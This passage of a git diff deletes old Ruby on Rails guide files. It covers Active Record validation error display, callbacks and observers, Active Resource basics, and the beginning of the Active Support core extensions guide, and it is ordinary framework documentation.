- <%= f.label :value %><br />
- <%= f.text_field :value %>
- </p>
- <p>
- <%= f.submit "Create" %>
- </p>
-<% end %>
-</erb>
-
-If you submit the form with empty fields, the result will be similar to the one shown below:
-
-!images/error_messages.png(Error messages)!
-
-NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css.
-
-You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.
-
-<erb>
-<%= error_messages_for :product %>
-</erb>
-
-The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
-
-Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example,
-
-<erb>
-<%= f.error_messages :header_message => "Invalid product!",
- :message => "You'll need to fix the following fields:",
- :header_tag => :h3 %>
-</erb>
-
-results in:
-
-!images/customized_error_messages.png(Customized error messages)!
-
-If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded.
-
-h4(#customizing-error-messages-css). Customizing the Error Messages CSS
-
-The selectors used to customize the style of error messages are:
-
-* +.field_with_errors+ - Style for the form fields and labels with errors.
-* +#error_explanation+ - Style for the +div+ element with the error messages.
-* +#error_explanation h2+ - Style for the header of the +div+ element.
-* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element.
-* +#error_explanation ul li+ - Style for the list items with individual error messages.
-
-If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above.
-
-The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
-
-h4. Customizing the Error Messages HTML
-
-By default, form fields with errors are displayed enclosed by a +div+ element with the +field_with_errors+ CSS class. However, it's possible to override that.
-
-The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters:
-
-* A string with the HTML tag
-* An instance of +ActionView::Helpers::InstanceTag+.
-
-Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
-
-<ruby>
-ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
- if instance.error_message.kind_of?(Array)
- %(#{html_tag}<span class="validation-error">&nbsp;
- #{instance.error_message.join(',')}</span>).html_safe
- else
- %(#{html_tag}<span class="validation-error">&nbsp;
- #{instance.error_message}</span>).html_safe
- end
-end
-</ruby>
-
-The result looks like the following:
-
-!images/validation_error_messages.png(Validation error messages)!
-
-h3. Callbacks Overview
-
-Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
-
-h4. Callback Registration
-
-In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
-
-<ruby>
-class User < ActiveRecord::Base
- validates :login, :email, :presence => true
-
- before_validation :ensure_login_has_a_value
-
- protected
- def ensure_login_has_a_value
- if login.nil?
- self.login = email unless email.blank?
- end
- end
-end
-</ruby>
-
-The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
-
-<ruby>
-class User < ActiveRecord::Base
- validates :login, :email, :presence => true
-
- before_create do |user|
- user.name = user.login.capitalize if user.name.blank?
- end
-end
-</ruby>
-
-It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
-
-h3. Available Callbacks
-
-Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
-
-h4. Creating an Object
-
-* +before_validation+
-* +after_validation+
-* +before_save+
-* +before_create+
-* +around_create+
-* +after_create+
-* +after_save+
-
-h4. Updating an Object
-
-* +before_validation+
-* +after_validation+
-* +before_save+
-* +before_update+
-* +around_update+
-* +after_update+
-* +after_save+
-
-h4. Destroying an Object
-
-* +before_destroy+
-* +after_destroy+
-* +around_destroy+
-
-WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed.
-
-h4. +after_initialize+ and +after_find+
-
-The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
-
-The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined.
-
-The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and they are registered simply by defining them as regular methods with predefined names. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behavior is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, which would otherwise significantly slow down the queries.
-
-<ruby>
-class User < ActiveRecord::Base
- def after_initialize
- puts "You have initialized an object!"
- end
-
- def after_find
- puts "You have found an object!"
- end
-end
-
->> User.new
-You have initialized an object!
-=> #<User id: nil>
-
->> User.first
-You have found an object!
-You have initialized an object!
-=> #<User id: 1>
-</ruby>
-
-h3. Running Callbacks
-
-The following methods trigger callbacks:
-
-* +create+
-* +create!+
-* +decrement!+
-* +destroy+
-* +destroy_all+
-* +increment!+
-* +save+
-* +save!+
-* +save(false)+
-* +toggle!+
-* +update+
-* +update_attribute+
-* +update_attributes+
-* +update_attributes!+
-* +valid?+
-
-Additionally, the +after_find+ callback is triggered by the following finder methods:
-
-* +all+
-* +first+
-* +find+
-* +find_all_by_<em>attribute</em>+
-* +find_by_<em>attribute</em>+
-* +find_by_<em>attribute</em>!+
-* +last+
-
-The +after_initialize+ callback is triggered every time a new object of the class is initialized.
-
-h3. Skipping Callbacks
-
-Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
-
-* +decrement+
-* +decrement_counter+
-* +delete+
-* +delete_all+
-* +find_by_sql+
-* +increment+
-* +increment_counter+
-* +toggle+
-* +touch+
-* +update_column+
-* +update_all+
-* +update_counters+
-
-h3. Halting Execution
-
-As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
-
-The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception.
-
-WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
-
-h3. Relational Callbacks
-
-Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model:
-
-<ruby>
-class User < ActiveRecord::Base
- has_many :posts, :dependent => :destroy
-end
-
-class Post < ActiveRecord::Base
- after_destroy :log_destroy_action
-
- def log_destroy_action
- puts 'Post destroyed'
- end
-end
-
->> user = User.first
-=> #<User id: 1>
->> user.posts.create!
-=> #<Post id: 1, user_id: 1>
->> user.destroy
-Post destroyed
-=> #<User id: 1>
-</ruby>
-
-h3. Conditional Callbacks
-
-As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option.
-
-h4. Using +:if+ and +:unless+ with a +Symbol+
-
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
-
-<ruby>
-class Order < ActiveRecord::Base
- before_save :normalize_card_number, :if => :paid_with_card?
-end
-</ruby>
-
-h4. Using +:if+ and +:unless+ with a String
-
-You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
-
-<ruby>
-class Order < ActiveRecord::Base
- before_save :normalize_card_number, :if => "paid_with_card?"
-end
-</ruby>
-
-h4. Using +:if+ and +:unless+ with a +Proc+
-
-Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners:
-
-<ruby>
-class Order < ActiveRecord::Base
- before_save :normalize_card_number,
- :if => Proc.new { |order| order.paid_with_card? }
-end
-</ruby>
-
-h4. Multiple Conditions for Callbacks
-
-When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration:
-
-<ruby>
-class Comment < ActiveRecord::Base
- after_create :send_email_to_author, :if => :author_wants_emails?,
- :unless => Proc.new { |comment| comment.post.ignore_comments? }
-end
-</ruby>
-
-h3. Callback Classes
-
-Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
-
-Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model:
-
-<ruby>
-class PictureFileCallbacks
- def after_destroy(picture_file)
- if File.exists?(picture_file.filepath)
- File.delete(picture_file.filepath)
- end
- end
-end
-</ruby>
-
-When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
-
-<ruby>
-class PictureFile < ActiveRecord::Base
- after_destroy PictureFileCallbacks.new
-end
-</ruby>
-
-Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
-
-<ruby>
-class PictureFileCallbacks
- def self.after_destroy(picture_file)
- if File.exists?(picture_file.filepath)
- File.delete(picture_file.filepath)
- end
- end
-end
-</ruby>
-
-If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object.
-
-<ruby>
-class PictureFile < ActiveRecord::Base
- after_destroy PictureFileCallbacks
-end
-</ruby>
-
-You can declare as many callbacks as you want inside your callback classes.
-
-h3. Observers
-
-Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
-
-h4. Creating Observers
-
-For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.
-
-<shell>
-$ rails generate observer User
-</shell>
-
-generates +app/models/user_observer.rb+ containing the observer class +UserObserver+:
-
-<ruby>
-class UserObserver < ActiveRecord::Observer
-end
-</ruby>
-
-You may now add methods to be called at the desired occasions:
-
-<ruby>
-class UserObserver < ActiveRecord::Observer
- def after_create(model)
- # code to send confirmation email...
- end
-end
-</ruby>
-
-As with callback classes, the observer's methods receive the observed model as a parameter.
-
-h4. Registering Observers
-
-Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way:
-
-<ruby>
-# Activate observers that should always be running.
-config.active_record.observers = :user_observer
-</ruby>
-
-As usual, settings in +config/environments+ take precedence over those in +config/application.rb+. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead.
-
-h4. Sharing Observers
-
-By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe:
-
-<ruby>
-class MailerObserver < ActiveRecord::Observer
- observe :registration, :user
-
- def after_create(model)
- # code to send confirmation email...
- end
-end
-</ruby>
-
-In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect:
-
-<ruby>
-# Activate observers that should always be running.
-config.active_record.observers = :mailer_observer
-</ruby>
-
-h3. Transaction Callbacks
-
-There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
-
-Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error.
-
-<ruby>
-PictureFile.transaction do
- picture_file_1.destroy
- picture_file_2.save!
-end
-</ruby>
-
-By using the +after_commit+ callback we can account for this case.
-
-<ruby>
-class PictureFile < ActiveRecord::Base
- attr_accessor :delete_file
-
- after_destroy do |picture_file|
- picture_file.delete_file = picture_file.filepath
- end
-
- after_commit do |picture_file|
- if picture_file.delete_file && File.exist?(picture_file.delete_file)
- File.delete(picture_file.delete_file)
- picture_file.delete_file = nil
- end
- end
-end
-</ruby>
-
-The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile
deleted file mode 100644
index 851aac1a3f..0000000000
--- a/railties/guides/source/active_resource_basics.textile
+++ /dev/null
@@ -1,120 +0,0 @@
-h2. Active Resource Basics
-
-This guide should provide you with all you need to get started managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Introduction
-
-Active Resource allows you to connect with RESTful web services. So, in Rails, Resource classes inherited from +ActiveResource::Base+ and live in +app/models+.
-
-h3. Configuration and Usage
-
-Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class
-that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it:
-
-<ruby>
-class Person < ActiveResource::Base
- self.site = "http://api.people.com:3000/"
-end
-</ruby>
-
-Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes
-life cycle methods that operate against a persistent store.
-
-h3. Reading and Writing Data
-
-Active Resource make request over HTTP using a standard JSON format. It mirrors the RESTful routing built into Action Controller but will also work with any other REST service that properly implements the protocol.
-
-h4. Read
-
-Read requests use the GET method and expect the JSON form of whatever resource/resources is/are being requested.
-
-<ruby>
-# Find a person with id = 1
-person = Person.find(1)
-# Check if a person exists with id = 1
-Person.exists?(1) # => true
-# Get all resources of Person class
-Person.all
-</ruby>
-
-h4. Create
-
-Creating a new resource submits the JSON form of the resource as the body of the request with HTTP POST method and parse the response into Active Resource object.
-
-<ruby>
-person = Person.create(:name => 'Vishnu')
-person.id # => 1
-</ruby>
-
-h4. Update
-
-To update an existing resource, 'save' method is used. This method make a HTTP PUT request in JSON format.
-
-<ruby>
-person = Person.find(1)
-person.name = 'Atrai'
-person.save
-</ruby>
-
-h4. Delete
-
-'destroy' method makes a HTTP DELETE request for an existing resource in JSON format to delete that resource.
-
-<ruby>
-person = Person.find(1)
-person.destroy
-</ruby>
-
-h3. Validations
-
-Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors.
-
-h4. Validating client side resources by overriding validation methods in base class
-
-<ruby>
-class Person < ActiveResource::Base
- self.site = "http://api.people.com:3000/"
-
- protected
-
- def validate
- errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/
- end
-end
-</ruby>
-
-h4. Validating client side resources
-
-Consider a Person resource on the server requiring both a first_name and a last_name with a validates_presence_of :first_name, :last_name declaration in the model:
-
-<ruby>
-person = Person.new(:first_name => "Jim", :last_name => "")
-person.save # => false (server returns an HTTP 422 status code and errors)
-person.valid? # => false
-person.errors.empty? # => false
-person.errors.count # => 1
-person.errors.full_messages # => ["Last name can't be empty"]
-person.errors[:last_name] # => ["can't be empty"]
-person.last_name = "Halpert"
-person.save # => true (and person is now saved to the remote service)
-</ruby>
-
-h4. Public instance methods
-
-ActiveResource::Validations have three public instance methods
-
-h5. errors()
-
-This will return errors object that holds all information about attribute error messages
-
-h5. save_with_validation(options=nil)
-
-This validates the resource with any local validations written in base class and then it will try to POST if there are no errors.
-
-h5. valid?
-
-Runs all the local validations and will return true if no errors.
diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile
deleted file mode 100644
index c04e49281e..0000000000
--- a/railties/guides/source/active_support_core_extensions.textile
+++ /dev/null
@@ -1,3609 +0,0 @@
-h2. Active Support Core Extensions
-
-Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
-
-It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.
-
-By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Active Support.
-
-endprologue.
-
-h3. How to Load Core Extensions
-
-h4. Stand-Alone Active Support
-
-In order to have a near zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you may load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
-
-Thus, after a simple require like:
-
-<ruby>
-require 'active_support'
-</ruby>
-
-objects do not even respond to +blank?+. Let's see how to load its definition.
-
-h5. Cherry-picking a Definition
-
-The most lightweight way to get +blank?+ is to cherry-pick the file that defines it.
-
-For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of +blank?+ the note reads:
-
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
-
-That means that this single call is enough:
-
-<ruby>
-require 'active_support/core_ext/object/blank'
-</ruby>
-
-Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
-
-h5. Loading Grouped Core Extensions
-
-The next level is to simply load all extensions to +Object+. As a rule of thumb, extensions to +SomeClass+ are available in one shot by loading +active_support/core_ext/some_class+.
-
-Thus, to load all extensions to +Object+ (including +blank?+):
-
-<ruby>
-require 'active_support/core_ext/object'
-</ruby>
-
-h5. Loading All Core Extensions
-
-You may prefer just to load all core extensions, there is a file for that:
-
-<ruby>
-require 'active_support/core_ext'
-</ruby>
-
-h5. Loading All Active Support
-
-And finally, if you want to have all Active Support available just issue:
-
-<ruby>
-require 'active_support/all'
-</ruby>
-
-That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via +autoload+, so it is only loaded if used.
-
-h4. Active Support Within a Ruby on Rails Application
-
-A Ruby on Rails application loads all Active Support unless +config.active_support.bare+ is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
-
-h3. Extensions to All Objects
-
-h4. +blank?+ and +present?+
-
-The following values are considered to be blank in a Rails application:
-
-* +nil+ and +false+,
-
-* strings composed only of whitespace (see note below),
-
-* empty arrays and hashes, and
-
-* any other object that responds to +empty?+ and it is empty.
-
-INFO: In Ruby 1.9 the predicate for strings uses the Unicode-aware character class <tt>[:space:]</tt>, so for example U+2029 (paragraph separator) is considered to be whitespace. In Ruby 1.8 whitespace is considered to be <tt>\s</tt> together with the ideographic space U+3000.
-
-WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank.
-
-For example, this method from +ActionDispatch::Session::AbstractStore+ uses +blank?+ for checking whether a session key is present:
-
-<ruby>
-def ensure_session_key!
- if @key.blank?
- raise ArgumentError, 'A key is required...'
- end
-end
-</ruby>
-
-The method +present?+ is equivalent to +!blank?+. This example is taken from +ActionDispatch::Http::Cache::Response+:
-
-<ruby>
-def set_conditional_cache_control!
- return if self["Cache-Control"].present?
- ...
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
-
-h4. +presence+
-
-The +presence+ method returns its receiver if +present?+, and +nil+ otherwise. It is useful for idioms like this:
-
-<ruby>
-host = config[:host].presence || 'localhost'
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
-
-h4. +duplicable?+
-
-A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
-
-<ruby>
-1.object_id # => 3
-Math.cos(0).to_i.object_id # => 3
-</ruby>
-
-Hence, there's no way these objects can be duplicated through +dup+ or +clone+:
-
-<ruby>
-true.dup # => TypeError: can't dup TrueClass
-</ruby>
-
-Some numbers which are not singletons are not duplicable either:
-
-<ruby>
-0.0.clone # => allocator undefined for Float
-(2**1024).clone # => allocator undefined for Bignum
-</ruby>
-
-Active Support provides +duplicable?+ to programmatically query an object about this property:
-
-<ruby>
-"".duplicable? # => true
-false.duplicable? # => false
-</ruby>
-
-By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class and module objects.
-
-WARNING. Any class can disallow duplication removing +dup+ and +clone+ or raising exceptions from them, only +rescue+ can tell whether a given arbitrary object is duplicable. +duplicable?+ depends on the hard-coded list above, but it is much faster than +rescue+. Use it only if you know the hard-coded list is enough in your use case.
-
-NOTE: Defined in +active_support/core_ext/object/duplicable.rb+.
-
-h4. +try+
-
-Sometimes you want to call a method provided the receiver object is not +nil+, which is something you usually check first. +try+ is like +Object#send+ except that it returns +nil+ if sent to +nil+.
-
-For instance, in this code from +ActiveRecord::ConnectionAdapters::AbstractAdapter+ +@logger+ could be +nil+, but you save the check and write in an optimistic style:
-
-<ruby>
-def log_info(sql, name, ms)
- if @logger.try(:debug?)
- name = '%s (%.1fms)' % [name || 'SQL', ms]
- @logger.debug(format_log_entry(name, sql.squeeze(' ')))
- end
-end
-</ruby>
-
-+try+ can also be called without arguments but a block, which will only be executed if the object is not nil:
-
-<ruby>
-@person.try { |p| "#{p.first_name} #{p.last_name}" }
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/try.rb+.
-
-h4. +singleton_class+
-
-The method +singleton_class+ returns the singleton class of the receiver:
-
-<ruby>
-String.singleton_class # => #<Class:String>
-String.new.singleton_class # => #<Class:#<String:0x17a1d1c>>
-</ruby>
-
-WARNING: Fixnums and symbols have no singleton classes, +singleton_class+ raises +TypeError+ on them. Moreover, the singleton classes of +nil+, +true+, and +false+, are +NilClass+, +TrueClass+, and +FalseClass+, respectively.
-
-NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+.
-
-h4. +class_eval(*args, &block)+
-
-You can evaluate code in the context of any object's singleton class using +class_eval+:
-
-<ruby>
-class Proc
- def bind(object)
- block, time = self, Time.now
- object.class_eval do
- method_name = "__bind_#{time.to_i}_#{time.usec}"
- define_method(method_name, &block)
- method = instance_method(method_name)
- remove_method(method_name)
- method
- end.bind(object)
- end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+.
-
-h4. +acts_like?(duck)+
-
-The method +acts_like+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
-
-<ruby>
-def acts_like_string?
-end
-</ruby>
-
-which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
-
-<ruby>
-some_klass.acts_like?(:string)
-</ruby>
-
-Rails has classes that act like +Date+ or +Time+ and follow this contract.
-
-NOTE: Defined in +active_support/core_ext/object/acts_like.rb+.
-
-h4. +to_param+
-
-All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as URL fragments.
-
-By default +to_param+ just calls +to_s+:
-
-<ruby>
-7.to_param # => "7"
-</ruby>
-
-The return value of +to_param+ should *not* be escaped:
-
-<ruby>
-"Tom & Jerry".to_param # => "Tom & Jerry"
-</ruby>
-
-Several classes in Rails overwrite this method.
-
-For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/":
-
-<ruby>
-[0, true, String].to_param # => "0/true/String"
-</ruby>
-
-Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given
-
-<ruby>
-class User
- def to_param
- "#{id}-#{name.parameterize}"
- end
-end
-</ruby>
-
-we get:
-
-<ruby>
-user_path(@user) # => "/users/357-john-smith"
-</ruby>
-
-WARNING. Controllers need to be aware of any redefinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+.
-
-NOTE: Defined in +active_support/core_ext/object/to_param.rb+.
-
-h4. +to_query+
-
-Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
-
-<ruby>
-class User
- def to_param
- "#{id}-#{name.parameterize}"
- end
-end
-</ruby>
-
-we get:
-
-<ruby>
-current_user.to_query('user') # => user=357-john-smith
-</ruby>
-
-This method escapes whatever is needed, both for the key and the value:
-
-<ruby>
-account.to_query('company[name]')
-# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
-</ruby>
-
-so its output is ready to be used in a query string.
-
-Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "&":
-
-<ruby>
-[3.4, -45.6].to_query('sample')
-# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
-</ruby>
-
-Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling +to_query(key)+ on its values. Then it joins the result with "&":
-
-<ruby>
-{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
-</ruby>
-
-The method +Hash#to_query+ accepts an optional namespace for the keys:
-
-<ruby>
-{:id => 89, :name => "John Smith"}.to_query('user')
-# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/to_query.rb+.
-
-h4. +with_options+
-
-The method +with_options+ provides a way to factor out common options in a series of method calls.
-
-Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
-
-<ruby>
-class Account < ActiveRecord::Base
- has_many :customers, :dependent => :destroy
- has_many :products, :dependent => :destroy
- has_many :invoices, :dependent => :destroy
- has_many :expenses, :dependent => :destroy
-end
-</ruby>
-
-this way:
-
-<ruby>
-class Account < ActiveRecord::Base
- with_options :dependent => :destroy do |assoc|
- assoc.has_many :customers
- assoc.has_many :products
- assoc.has_many :invoices
- assoc.has_many :expenses
- end
-end
-</ruby>
-
-That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
-
-<ruby>
-I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
- subject i18n.t :subject
- body i18n.t :body, :user_name => user.name
-end
-</ruby>
-
-TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
-
-NOTE: Defined in +active_support/core_ext/object/with_options.rb+.
-
-h4. Instance Variables
-
-Active Support provides several methods to ease access to instance variables.
-
-h5. +instance_variable_names+
-
-Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
-
-<ruby>
-class C
- def initialize(x, y)
- @x, @y = x, y
- end
-end
-
-C.new(0, 1).instance_variable_names # => ["@y", "@x"]
-</ruby>
-
-WARNING: The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter.
-
-NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
-
-h5. +instance_values+
-
-The method +instance_values+ returns a hash that maps instance variable names without "@" to their
-corresponding values. Keys are strings both in Ruby 1.8 and 1.9:
-
-<ruby>
-class C
- def initialize(x, y)
- @x, @y = x, y
- end
-end
-
-C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
-
-h4. Silencing Warnings, Streams, and Exceptions
-
-The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
-
-<ruby>
-silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
-</ruby>
-
-You can silence any stream while a block runs with +silence_stream+:
-
-<ruby>
-silence_stream(STDOUT) do
- # STDOUT is silent here
-end
-</ruby>
-
-The +quietly+ method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
-
-<ruby>
-quietly { system 'bundle install' }
-</ruby>
-
-For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
-
-Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised:
-
-<ruby>
-# If the user is locked the increment is lost, no big deal.
-suppress(ActiveRecord::StaleObjectError) do
- current_user.increment! :visits
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+.
-
-h4. +in?+
-
-The predicate +in?+ tests if an object is included in another object. An +ArgumentError+ exception will be raised if the argument passed does not respond to +include?+.
-
-Examples of +in?+:
-
-<ruby>
-1.in?([1,2]) # => true
-"lo".in?("hello") # => true
-25.in?(30..50) # => false
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/object/inclusion.rb+.
-
-h3. Extensions to +Module+
-
-h4. +alias_method_chain+
-
-Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
-
-For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap +ActionController::TestCase#process+ this way in +test/test_helper.rb+:
-
-<ruby>
-ActionController::TestCase.class_eval do
- # save a reference to the original process method
- alias_method :original_process, :process
-
